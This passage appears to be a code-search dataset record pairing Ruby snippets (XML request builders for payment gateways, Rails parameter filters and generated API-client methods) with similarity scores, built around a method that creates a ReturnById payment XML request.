xml.instruct!(:xml, :version => '1.0', :encoding => 'utf-8')\n xml.tag! 'soap:Envelope', { 'xmlns:soap' => 'http://schemas.xmlsoap.org/soap/envelope/', \n 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'} do\n xml.tag! 'soap:Body' do\n xml.tag! options[:xml_transaction_wrapper], {'xmlns' => \"https://www.thepaymentgateway.net/\"} do\n unless options[:xml_transaction_wrapper] == \"ThreeDSecureAuthentication\"\n xml.tag! 'PaymentMessage' do\n add_merchant_data(xml, options)\n xml << body\n end\n else\n xml << body\n end\n end\n end\n end\n xml.target! \n end", "def build_xml(xml)\n check_configuration\n xml.DistributionConfig('xmlns' => \"http://cloudfront.amazonaws.com/doc/#{Cloudfront::API_VERSION}/\") {\n xml.CallerReference @caller_reference\n @aliases.build_xml(xml)\n xml.DefaultRootObject @default_root_object\n @origins_container.build_xml(xml)\n @default_cache_behavior.build_xml(xml)\n @behaviors.build_xml(xml)\n xml.Comment @comment\n @logging.build_xml(xml)\n xml.PriceClass @price_class\n xml.Enabled @enabled\n }\n end", "def create\n @transaction = @account.transactions.build(params[:transaction])\n @transaction.created_at = Time.now\n if @transaction.recur_id != nil\n @transaction.doc_number = nil\n @recurring = @account.recurrings.find(@transaction.recur_id)\n @transaction.description = @recurring.name\n if @recurring.transaction_type == 'Withdrawal'\n @transaction.wamount = @recurring.amount\n @transaction.damount = nil\n else\n @transaction.damount = @recurring.amount\n @transaction.wamount = nil\n end\n end\n respond_to do |format|\n if @transaction.save\n # do bucket allocation\n if @transaction.recur_id != nil\n @recurring.rbuckets.each do |r|\n @tbucket = Tbucket.new\n @tbucket.abucket_id = r.abucket_id\n @tbucket.transaction_id = @transaction.id\n if @recurring.transaction_type == 'Withdrawal'\n @tbucket.wamount = r.amount\n else\n @tbucket.damount = r.amount\n end\n @tbucket.save\n end\n end\n flash[:notice] = 'Transaction was successfully created.'\n format.html { redirect_to(account_transactions_path(@account)) }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def _to_xml(xml)\n end", "def wallet_transaction_with_http_info(wallet_transaction_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.wallet_transaction ...'\n end\n # verify the required parameter 'wallet_transaction_request' is set\n if @api_client.config.client_side_validation && wallet_transaction_request.nil?\n fail ArgumentError, \"Missing the required parameter 'wallet_transaction_request' when calling DefaultApi.wallet_transaction\"\n end\n # resource path\n local_var_path = '/api/v1/wallet/transaction'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(wallet_transaction_request) \n\n # return_type\n return_type = opts[:return_type] || 'Object' \n\n # auth_names\n auth_names = opts[:auth_names] || ['csrfAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#wallet_transaction\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def transactions_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.transactions_post ...'\n end\n # resource path\n local_var_path = '/api/v1/transactions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'addrs'] = opts[:'addrs'] if !opts[:'addrs'].nil?\n query_params[:'confirmed'] = opts[:'confirmed'] if !opts[:'confirmed'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Object' \n\n # auth_names\n auth_names = opts[:auth_names] || ['csrfAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#transactions_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def transaction_params\n params.require(:transaction).permit(:payee, :notes, :txn_type, :occurs, :amount)\n end", "def get_programreserve_transactions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProgramReserveApi.get_programreserve_transactions ...'\n end\n # resource path\n local_var_path = '/programreserve/transactions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'start_index'] = opts[:'start_index'] if !opts[:'start_index'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'body'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'ProgramReserveTransactionListResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"ProgramReserveApi.get_programreserve_transactions\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProgramReserveApi#get_programreserve_transactions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def change_alter_transaction_data(action, process, money, parameters)\n url = make_url(action)\n\n data = {}\n data[:Version] = '105'\n data[:ShopID] = @options[:login]\n data[:ShopPass] = @options[:password]\n data[:AccessID] = parameters[:AccessID]\n data[:AccessPass] = parameters[:AccessPass]\n data[:JobCd] = process\n if money\n data[:Amount] = amount(money)\n data[:Tax] = '0'\n end\n\n [url, data.to_query]\n end", "def order_acknowledgement(hash)\n # example use: order_acknowledgement(amazon_order_id: '112-2598432-0713054', merchant_order_id: 336, status: 'Success', items: {'47979057082330' => '438'})\n # order_acknowledgement(amazon_order_id: '112-2598432-0713054', merchant_order_id: 336, status: 'Success')\n # order acknowledgment is done by sending an XML \"feed\" to Amazon\n # as of this writing, XML schema docs are available at:\n # https://images-na.ssl-images-amazon.com/images/G/01/rainier/help/XML_Documentation_Intl.pdf\n # https://images-na.ssl-images-amazon.com/images/G/01/mwsportal/doc/en_US/bde/MWSFeedsApiReference._V372272627_.pdf\n xml = \"\"\n builder = Builder::XmlMarkup.new(:indent => 2, :target => xml)\n builder.instruct! # <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n builder.AmazonEnvelope(:\"xmlns:xsi\" => \"http://www.w3.org/2001/XMLSchema-instance\", :\"xsi:noNamespaceSchemaLocation\" => \"amzn-envelope.xsd\") do |env|\n env.Header do |head|\n head.DocumentVersion('1.01')\n head.MerchantIdentifier(@connection.seller_id)\n end\n env.MessageType('OrderAcknowledgement')\n env.Message do |mes|\n mes.MessageID('1')\n mes.OrderAcknowledgement do |oa|\n oa.AmazonOrderID(hash[:amazon_order_id])\n oa.MerchantOrderID(hash[:merchant_order_id]) unless hash[:merchant_order_id].blank?\n oa.StatusCode(hash[:status])\n (hash[:items] || {}).each do |item_code, merchant_item_id|\n oa.Item do |item|\n item.AmazonOrderItemCode(item_code)\n item.MerchantOrderItemID(merchant_item_id) unless merchant_item_id.blank?\n end\n end\n end\n end\n end\n\n submit_feed('_POST_ORDER_ACKNOWLEDGEMENT_DATA_', xml)\n end", "def transaction_params\n params.require(:transaction).permit(:description, :total, :points_awarded)\n end", "def automated_transaction_params\n params.require(:automated_transaction).permit(:account_id, :description, :long_description, :subtotal, :taxable, :tax, :total, :paid, :status)\n end", "def to_xml(params = {})\n params.reverse_merge!(\n :name => self.class.tag_name,\n :namespace => self.class.roxml_namespace\n )\n params[:namespace] = nil if ['*', 'xmlns'].include?(params[:namespace])\n str = [params[:namespace], params[:name]].compact.join(':')\n XML.new_node(str).tap do |root|\n refs = if self.roxml_references.present?\n self.roxml_references\n else\n self.class.roxml_attrs.map { |attr| attr.to_ref(self) }\n end\n # Add audience_range_qualifier as is\n refs[0].update_xml(root, refs[0].to_xml(self))\n # Zip audience_range_values with audience_range_precisions\n precisions = refs[1].to_xml(self)\n values = refs[2].to_xml(self)\n (0..precisions.size-1).each do |i|\n refs[1].update_xml(root, [precisions[i]])\n refs[2].update_xml(root, [values[i]])\n end\n end\n end", "def txs_encode_post_with_http_info(tx, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TransactionsApi.txs_encode_post ...'\n end\n # verify the required parameter 'tx' is set\n if @api_client.config.client_side_validation && tx.nil?\n fail ArgumentError, \"Missing the required parameter 'tx' when calling TransactionsApi.txs_encode_post\"\n end\n # resource path\n local_var_path = '/txs/encode'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(tx)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2003')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionsApi#txs_encode_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def account_transaction_params\n params.require(:account_transaction).permit(:transaction_type, :amount, :prev_balance, :new_balance, :description, :account_id)\n end", "def create_transaction(options = {})\n required_params = %i( amount currency1 currency2 buyer_email)\n required_params_present = required_params.all? { |e| options.keys.include?(e) }\n raise \"Required Argument Error. Must include #{required_params.join(', ')}\" unless required_params_present\n body = {\n cmd: \"create_transaction\",\n amount: options[:amount],\n currency1: options[:currency1],\n currency2: options[:currency2],\n buyer_email: options[:buyer_email],\n }\n body[:buyer_name] = options[:buyer_name] if options[:buyer_name]\n body[:item_name] = options[:item_name] if options[:item_name]\n body[:item_number] = options[:item_number] if options[:item_number]\n body[:invoice] = options[:invoice] if options[:invoice]\n body[:custom] = options[:custom] if options[:custom]\n body[:address] = options[:address] if options[:address]\n body[:ipn_url] = options[:ipn_url] if options[:ipn_url]\n post body\n end", "def xml_builder\n lambda do |builder|\n builder[:api].amend do\n builder[:api].requests do\n Array.wrap(amendments).each do |amendment|\n build_object builder, :amendments, amendment, :obj\n end\n build_object builder, :amend_options, amend_options, :api\n build_object builder, :preview_options, preview_options, :api\n end\n end\n end\n end", "def transaction_params\n params.require(:transaction).permit(:date, :vendor, :who, :what, :where, :why, :string, :amount, :precision, :program_id, :account_id)\n end", "def payout_transaction_with_http_info(transaction_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TransactionsApi.payout_transaction ...'\n end\n # verify the required parameter 'transaction_id' is set\n if @api_client.config.client_side_validation && transaction_id.nil?\n fail ArgumentError, \"Missing the required parameter 'transaction_id' when calling TransactionsApi.payout_transaction\"\n end\n # resource path\n local_var_path = '/transactions/{Transaction ID}/payout'.sub('{' + 'Transaction ID' + '}', transaction_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TransactionResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionsApi#payout_transaction\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def transaction_request_params\n params.require(:transaction_request).permit(:from_service_name, :request_type, :created_at, :user_email, :inc_id, :transaction_id, :amount, :action)\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\treturn \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\tend", "def transaction_params\n params.require(:transaction).permit(:value, :comment, :source_id, :destination_id, :transaction_type, :transaction_category_id, :period_id, :date, :budget_id, :type, :target_id)\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def xml\n @xml ||= begin\n builder = ::Builder::XmlMarkup.new(:indent => 4)\n\n authed_xml_as_string(builder) do\n builder.GetReceiptInfoCall do\n builder.ReceiptFilter do\n builder.ReceiptId(id)\n end\n end\n end\n end\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def full_options(params)\n {\n :timestamp => Time.now.strftime(\"%F %T\"),\n :v => API_VERSION,\n :format => :xml,\n :sign_method => :md5,\n :app_key => config['app_key']\n }.merge params\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.AddressValidationRequest(:xmlns => \"http://fedex.com/ws/addressvalidation/v2\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n add_request_timestamp(xml)\n add_options(xml)\n add_address(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def get_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '0'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end", "def request_body(method, params = [])\n p_body = ''\n\n params.each { |p| p_body << \"<param><value><string>#{p}</string></value></param>\" }\n\n body = '<?xml version=\"1.0\"?><methodCall>'\n body << \"<methodName>#{method}</methodName>\"\n body << \"<params>#{p_body}</params>\" unless p_body.length == 0\n body << '</methodCall>'\n end", "def transaction_params\n params.require(:transaction).permit(:trans_type, :trans_date, :company_id, :quantity, :price, :consideration, :commission, :stamp_duty, :PTM_levy, :payable, :cost_percent, :bargin_ref, :avg_cost, :buy_limit, :currency, :x_rate, :ex_div_date, :payment_date, :issue_date, :div_price, :div_net_total, :person, :user_id, :holding_id, :div_tax_rate, :div_tax_credit, :div_gross)\n end", "def to_xml(options = {})\n subscriptions.each {|s| s.currency = nil}\n adjustments.each {|a| a.currency = nil}\n super(options)\n end", "def transaction_params\n params.require(:transaction).permit(:amount, :account_id, :note, :sign, :account_to_id)\n end", "def to_xml(options = {})\n subscriptions.each {|s| s.currency = nil}\n adjustments.each {|a| a.currency = nil}\n super(options)\n end", "def transaction_params\n params.require(:transaction).permit(:amount, :note, :stamp, :customer_id)\n end", "def create_transaction_data(process, money, parameters)\n url = make_url('EntryTran')\n\n data = {}\n data[:Version] = '105'\n data[:ShopID] = @options[:login]\n data[:ShopPass] = @options[:password]\n data[:OrderID] = parameters[:OrderID]\n data[:JobCd] = process\n data[:Amount] = amount(money)\n data[:Tax] = '0'\n\n [url, data.to_query]\n end", "def to_xml\n xml = String.new\n builder = Builder::XmlMarkup.new(:target => xml, :indent => 2)\n \n # Xml instructions (version and charset)\n builder.instruct!\n \n builder.source(:primary => primary_source) do\n builder.id(id, :type => \"integer\")\n builder.uri(uri.to_s)\n end\n \n xml\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.SendNotificationsRequest(:xmlns => \"http://fedex.com/ws/track/v#{service[:version]}\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_transaction_details(xml)\n add_version(xml)\n xml.TrackingNumber @tracking_number\n xml.TrackingNumberUniqueId @uuid if @uuid\n xml.SenderEMailAddress @sender_email_address\n xml.SenderContactName @sender_name\n add_notification_detail(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def to_xml(b = Builder::XmlMarkup.new(:indent => 2))\n optional_root_tag(parent.class.optional_xml_root_name, b) do |c|\n c.tag!(model.class.xml_node_name || model.model_name) {\n attributes.each do | key, value |\n field = self.class.fields[key]\n value = self.send(key) if field[:calculated]\n xml_value_from_field(b, field, value) unless value.nil?\n end\n }\n end\n end", "def to_xml()\n XmlSimple.xml_out( { :address => self.to_hash() }, { :KeepRoot=>true, :NoAttr=>true } )\n end" ]
[ "0.65261555", "0.64160687", "0.61131024", "0.6055856", "0.55714405", "0.5415317", "0.53638184", "0.5352269", "0.5348756", "0.5310934", "0.5305264", "0.52866197", "0.52797246", "0.5270611", "0.5259842", "0.5257616", "0.52428246", "0.52362657", "0.5216671", "0.52030087", "0.51867294", "0.5162712", "0.51148087", "0.5113027", "0.5104775", "0.5104099", "0.5082695", "0.5076199", "0.5072055", "0.50385296", "0.503417", "0.50333065", "0.5025803", "0.50241965", "0.50097865", "0.50022894", "0.49983037", "0.49881104", "0.49844468", "0.49844468", "0.49844468", "0.49844468", "0.49844468", "0.49844468", "0.4976453", "0.4973177", "0.49693096", "0.4949236", "0.49401474", "0.49343517", "0.49047425", "0.49036846", "0.4899966", "0.4898483", "0.4894093", "0.4891945", "0.4876876", "0.4876057", "0.4874091", "0.4874091", "0.48649028", "0.48566154", "0.48511603", "0.48425642", "0.48407078", "0.48390192", "0.48379195", "0.4825188", "0.48189205", "0.48127142", "0.48060963", "0.48019603", "0.480035", "0.47968182", "0.4791453", "0.4787393", "0.47814238", "0.4779952", "0.47683066", "0.47677362", "0.47608763", "0.4760469", "0.47603124", "0.47552574", "0.47547072", "0.47543424", "0.474608", "0.47329757", "0.47266465", "0.47249797", "0.47245565", "0.47227737", "0.47212222", "0.47210974", "0.47182912", "0.471816", "0.47169665", "0.47131863", "0.4711805", "0.4706426" ]
0.8246574
0
Create ReturnById xml as per the api format . "params" is collection keyvalues, in this "params" holds Amount, TransactionId. It returns xml format in string.
def returnByIdXML(params) begin Nokogiri::XML::Builder.new do |xml| xml.ReturnById('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>"ReturnById" ) { xml.ApplicationProfileId application_profile_id xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil' => "true") xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', 'i:type' => "ns1:BankcardReturn"){ xml['ns2'].TransactionId params[:TransactionId] ,'xmlns:ns2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions' if params[:Amount] != '' xml['ns1'].Amount params[:Amount] else xml['ns1'].Amount '0.00' end } xml.MerchantProfileId merchant_profile_id } end.to_xml rescue Exception => ex return "transaction id and/or amount not set in xml for returnByIdXML!" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def adjustXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.Adjust('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"Adjust\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:ns2' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",\n 'xmlns:ns3' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\") {\n if params[:Amount] != ''\n xml['ns2'].Amount params[:Amount]\n else\n xml['ns2'].Amount '0.00'\n end \n xml['ns3'].TransactionId params[:TransactionId]\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for adjustXML!\"\n end \n end", "def build_xml( id, price, options )\n xml = ::Builder::XmlMarkup.new\n xml.GenerateRequest do\n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.AmountInput sprintf(\"%.2f\", price)\n xml.TxnId id\n xml.TxnType options[:txn_type] ? options[:txn_type].to_s.capitalize : \"Purchase\"\n xml.CurrencyInput options[:currency_input] || \"NZD\"\n xml.MerchantReference options[:merchant_reference] || options[:reference] || id.to_s ## Backwards compatibility\n xml.UrlSuccess options[:url_success] || ::Pxpay::Base.url_success \n xml.UrlFail options[:url_failure] || ::Pxpay::Base.url_failure\n xml.EmailAddress options[:email_address] if options[:email_address]\n xml.TxnData1 options[:txn_data1] if options[:txn_data1]\n xml.TxnData2 options[:txn_data2] if options[:txn_data2]\n xml.TxnData3 options[:txn_data3] if options[:txn_data3]\n xml.TxnData4 options[:txn_data4] if options[:txn_data4]\n xml.Opt options[:opt] if options[:opt]\n xml.EnableAddBillCard 1 if options[:token_billing]\n xml.BillingId options[:billing_id] if options[:token_billing]\n end\n end", "def undoXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.Undo('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"Undo\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays','i:nil' => \"true\")\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions','i:nil' => \"true\")\n xml.MerchantProfileId merchant_profile_id \n xml.TransactionId params[:TransactionId] \n }\n end.to_xml \n rescue Exception => ex\n return \"transaction id not set in xml for undoXML!\"\n end \n end", "def captureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ChangeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"Capture\" ) {\n xml.ApplicationProfileId application_profile_id #'14644'\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:d2p2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', \n 'xmlns:d2p3' => 'http://schemas.ipcommerce.com/CWS/v2.0/TransactionProcessing',\n 'i:type' => \"d2p2:BankcardCapture\"){\n xml['d2p1'].TransactionId params[:TransactionId]#'760CBDD65E4642E49A3CD2E2F3257A10'\n if params[:Amount] != ''\n xml['d2p2'].Amount params[:Amount]\n else\n xml['d2p2'].Amount '0.00'\n end \n xml['d2p2'].TipAmount '0.00' \n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for captureXML!\"\n end \n end", "def to_xml\n a = REXML::Element.new(\"parameter\")\n a.add_attribute(\"id\", id)\n a.add_attribute(\"name\", name)\n if (description != nil)\n a.add_element(\"description\").text = description\n end\n if (defaultValue != nil)\n a.add_element(\"default\").text = defaultValue\n end\n return a\n end", "def build_xml( result )\n xml = ::Builder::XmlMarkup.new\n \n xml.ProcessResponse do \n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.Response result\n end\n end", "def retrieve(params = {})\n req = WebPay::CustomerIdRequest.create(params)\n raw_response = @client._request(:get, 'customers' + '/' + req.id.to_s, req)\n WebPay::CustomerResponse.new(raw_response)\n end", "def returnUnlinkedXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnTransaction\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n 